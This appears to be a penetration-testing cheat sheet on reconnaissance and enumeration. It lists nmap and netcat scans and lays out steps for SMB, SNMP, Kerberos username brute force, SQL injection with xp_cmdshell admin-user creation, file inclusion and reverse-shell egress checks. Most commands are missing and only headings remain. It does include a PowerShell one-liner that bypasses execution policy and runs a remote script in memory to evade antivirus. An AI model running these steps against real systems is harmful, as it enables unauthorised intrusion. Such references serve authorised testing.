Reconnaissance & enumeration

Enum, enum, enom, enomm, nom nomm!

Bash log

Log all commands and their output:

script target.log

Port scanning

Nmap

nmap -A -sS -Pn -n x.x.x.x

Scan all UDP port without a retry

nmap -sU -p- --max-retries 0 --min-rate 500 x.x.x.x

Nc

nc -nvv -w 1 -z x.x.x.x 1-100
circle-info

This nc command can be very useful to check egress filtering -> see below

PowerShell (in memory -> AV evasion)

powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts x.x.x.x"

Host enum

Is the target 32 or 64 bit? https://github.com/SecureAuthCorp/impacket/blob/master/examples/getArch.pyarrow-up-right

DNS zone transfer

Web fuzzing

Gobuster

Wfuzz

Samba (SMB)

Do not underestimate this one ;)

Anonymous bind using rpcclient:

SNMP

Scan using the default community string:

Discover valid usernames by brute force querying possible usernames against a Kerberos service (source: https://nmap.org/nsedoc/scripts/krb5-enum-users.htmlarrow-up-right)

CMS

CMSmap

WPscan

Bruteforce login:

SQL injection

Test for authentication bypass

Use time delays to find injectable parameter

If the above works try to enable xp_cmdshell (source: http://pentestmonkey.net/blog/resurecting-xp_cmdshellarrow-up-right)

xp_cmdshell - test ping

xp_cmdshell - add admin user

xp_cmdshell - add admin user and to RDP group

Local File Inclusion (LFI)

Basic checks

Linux

Windows

Wordlists: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFIarrow-up-right

LFI Wrappers

expect://

data://

input://

LFI to RCE

Just check: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20inclusion#wrapper-dataarrow-up-right

Remote File Inclusion (RFI)

Example request (where "x.x.x.x" is your attacker's IP):

Check for egress filtering

In other words: find an outgoing port for a reverse shell. First start TCPdump at your own box

Run at target (where x.x.x.x is your attacking box)

Files and file systems

Unmounted file systems

World writeable directories

World writeable files

Writeable config files

Last updated